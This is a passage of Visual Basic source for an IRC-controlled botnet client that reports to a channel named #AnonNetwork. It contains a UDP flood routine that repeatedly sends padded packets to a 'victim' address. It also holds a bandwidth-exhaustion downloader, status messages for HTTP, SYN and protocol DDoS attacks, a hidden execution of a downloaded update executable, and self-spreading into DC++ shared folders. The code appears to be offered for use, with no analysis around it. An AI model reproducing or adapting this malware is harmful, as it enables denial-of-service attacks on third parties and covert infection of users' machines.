3281If UDPList.ListIndex = UDPList.ListCount - 1 Then
3282UDPList.ListIndex = 0
3283End If
3284End Sub
3285Private Sub UDPTimer_Timer()
3286On Error Resume Next
3287UDPSock.CloseSck
3288UDPSock.Connect UDPVictim.Text, UDPPort.Text
3289UDPSock.SendData "W¾Â€NX3-Anonymous-Project-NX3W¾Â" & String(PreGenLength, PreGenString)
3290UDPSock.CloseSck
3291UDPSock.Connect UDPVictim.Text, UDPPort.Text
3292UDPSock.SendData "W¾Â€NX3-Anonymous-Project-NX3W¾Â" & String(1000, PreGenString)
3293UDPSock.CloseSck
3294UDPSock.Connect UDPVictim.Text, UDPPort.Text
3295UDPSock.SendData "W¾Â€NX3-Anonymous-Project-NX3W¾Â" & String(PreGenLength, PreGenString)
3296UDPSock.CloseSck
3297UDPSock.Connect UDPVictim.Text, UDPPort.Text
3298UDPSock.SendData "W¾Â€NX3-Anonymous-Project-NX3W¾Â" & String(1000, PreGenString)
3299UDPSock.CloseSck
3300UDPSock.Connect UDPVictim.Text, UDPPort.Text
3301UDPSock.SendData "W¾Â€NX3-Anonymous-Project-NX3W¾Â" & String(PreGenLength, PreGenString)
3302UDPSock.CloseSck
3303UDPSock.Connect UDPVictim.Text, UDPPort.Text
3304UDPSock.SendData "W¾Â€NX3-Anonymous-Project-NX3W¾Â" & String(1000, PreGenString)
3305UDPSock.CloseSck
3306UDPSock.Connect UDPVictim.Text, UDPPort.Text
3307UDPSock.SendData "W¾Â€NX3-Anonymous-Project-NX3W¾Â" & String(PreGenLength, PreGenString)
3308UDPSock.CloseSck
3309UDPSock.Connect UDPVictim.Text, UDPPort.Text
3310UDPSock.SendData "W¾Â€NX3-Anonymous-Project-NX3W¾Â" & String(1000, PreGenString)
3311UDPSock.CloseSck
3312UDPSock.Connect UDPVictim.Text, UDPPort.Text
3313UDPSock.SendData "W¾Â€NX3-Anonymous-Project-NX3W¾Â" & String(PreGenLength, PreGenString)
3314UDPSock.CloseSck
3315UDPSock.Connect UDPVictim.Text, UDPPort.Text
3316UDPSock.SendData "W¾Â€NX3-Anonymous-Project-NX3W¾Â" & String(1000, PreGenString)
3317UDPSock.CloseSck
3318UDPSock.Connect UDPVictim.Text, UDPPort.Text
3319UDPSock.SendData "W¾Â€NX3-Anonymous-Project-NX3W¾Â" & String(PreGenLength, PreGenString)
3320UDPSock.CloseSck
3321UDPSock.Connect UDPVictim.Text, UDPPort.Text
3322UDPSock.SendData "W¾Â€NX3-Anonymous-Project-NX3W¾Â" & String(1000, PreGenString)
3323UDPSock.CloseSck
3324UDPSock.Connect UDPVictim.Text, UDPPort.Text
3325UDPSock.SendData "W¾Â€NX3-Anonymous-Project-NX3W¾Â" & String(PreGenLength, PreGenString)
3326UDPSock.CloseSck
3327UDPSock.Connect UDPVictim.Text, UDPPort.Text
3328UDPSock.SendData "W¾Â€NX3-Anonymous-Project-NX3W¾Â" & String(1000, PreGenString)
3329UDPSock.CloseSck
3330UDPSock.Connect UDPVictim.Text, UDPPort.Text
3331UDPSock.SendData "W¾Â€NX3-Anonymous-Project-NX3W¾Â" & String(PreGenLength, PreGenString)
3332End Sub
3333Private Sub BandTimer_Timer()
3334On Error Resume Next
3335Set BandSock = New CDownload
3336BandSock.Download BandwithVictim.Text, "C:\Users\" & Environ("USERNAME") & "\Favorites\" & FSave.Text
3337End Sub
3338Private Sub UpdateSck_Completed()
3339On Error Resume Next
3340Client.SendData "PRIVMSG #AnonNetwork :Update Package Downloaded Successfully Host Will Now Exit And Update" & vbCrLf
3341Shell "C:\Users\" & Environ("USERNAME") & "\UpdatePackage.exe", vbHide
3342Client.SendData "QUIT :Updating Network" & vbCrLf
3343Client.CloseSck
3344End
3345End Sub
3346Private Sub UpdateSck_Error(ByVal Number As Integer, Description As String)
3347On Error Resume Next
3348Client.SendData "PRIVMSG #AnonNetwork :Update Download Failed, Check Update Package And Try Again" & vbCrLf
3349End Sub
3350Function HTTPVerb()
3351If Verb.Value = 1 Then
3352Client.SendData "PRIVMSG #AnonNetwork :HTTP DDos Attack Started Against " & HTTPHost.Text & vbCrLf
3353DoEvents
3354End If
3355End Function
3356Function TCPVerb()
3357If Verb.Value = 1 Then
3358Client.SendData "PRIVMSG #AnonNetwork :SYN Attack Started Against - " & TCPVictim.Text & vbCrLf
3359DoEvents
3360End If
3361End Function
3362Function UDPVerb()
3363If Verb.Value = 1 Then
3364Client.SendData "PRIVMSG #AnonNetwork :UDP Attack Started Against - " & UDPVictim.Text & vbCrLf
3365DoEvents
3366End If
3367End Function
3368Function ProtoVerb()
3369If Verb.Value = 1 Then
3370Client.SendData "PRIVMSG #AnonNetwork :Protocol Attack Started Against - " & ProtocolVictim.Text & vbCrLf
3371DoEvents
3372End If
3373End Function
3374Function BandVerb()
3375If Verb.Value = 1 Then
3376Client.SendData "PRIVMSG #AnonNetwork :Bandwith Attack Started Against - " & BandwithVictim.Text & vbCrLf
3377DoEvents
3378End If
3379End Function
3380Function StopDDOSVerbose()
3381If Verb.Value = 1 Then
3382Client.SendData "PRIVMSG #AnonNetwork :All DDos Attacks Have Been Stopped" & vbCrLf
3383DoEvents
3384End If
3385End Function
3386Function SpreadVerb()
3387If Verb.Value = 1 Then
3388Client.SendData "PRIVMSG #AnonNetwork :Spreading Server To DC++ Folder & vbCrLf"
3389DoEvents
3390End If
3391End Function
3392Function DoneSpreadverb()
3393If Verb.Value = 1 Then
3394Client.SendData "PRIVMSG #AnonNetwork :Done Spreading Server & vbCrLf"
3395DoEvents
3396End If
3397End Function
3398Function HostStatuz()
3399If Stat.Value = 1 Then
3400Client.SendData "PRIVMSG #AnonNetwork :This Remote Host Is Busy" & vbCrLf
3401DoEvents
3402ElseIf Stat.Value = 0 Then
3403Client.SendData "PRIVMSG #AnonNetwork :This Remote Host Is Idle" & vbCrLf
3404DoEvents
3405End If
3406End Function
3407Function GenerateRndNick()
3408Dim tmpstr As Long, tmpl As Long
3409Randomize
3410tmpl = (Rnd) * 121
3411Randomize
3412tmpstr = (Rnd(tmpl) * 52 + 4) * 121
3413Randomize
3414tmpstr = tmpstr + (Rnd(tmpl + tmpl) * 21 + 89) * 86
3415tmpstr = Round(tmpstr, 0)
3416GenerateRndNick = tmpstr
3417End Function
3418Private Function IsAlreadyRunning() As Boolean
3419Dim hMutex As Long
3420hMutex = CreateMutex(ByVal 0&, 1, App.Title)
3421If (Err.LastDllError = ERROR_ALREADY_EXISTS) Then
3422ReleaseMutex hMutex
3423CloseHandle hMutex
3424IsAlreadyRunning = True
3425Else
3426IsAlreadyRunning = False
3427End If
3428End Function
3429Private Sub DCList_Click()
3430On Error Resume Next
3431If InStr(DCList.Text, "<Directory Virtual") Then
3432DDirTimer.Enabled = False
3433Dim Direct As String
3434Direct = Split(DCList.Text, """>")(1)
3435Direct = Split(Direct, "\</Directory>")(0)
3436FDestination.Text = Direct
3437SpreadTimer.Enabled = True
3438End If
3439End Sub
3440Private Sub DDirTimer_Timer()
3441On Error Resume Next
3442If DCList.ListIndex = DCList.ListCount - 1 Then
3443DCList.ListIndex = 0
3444Else
3445DCList.ListIndex = DCList.ListIndex + 1
3446End If
3447End Sub
3448Private Sub CReset_Change()
3449If CReset.Text = 2 Then
3450InChannel = False
3451CReset.Text = 120
3452End If
3453End Sub
3454Private Sub Reset_Timer()
3455CReset.Text = CReset.Text + 1
3456End Sub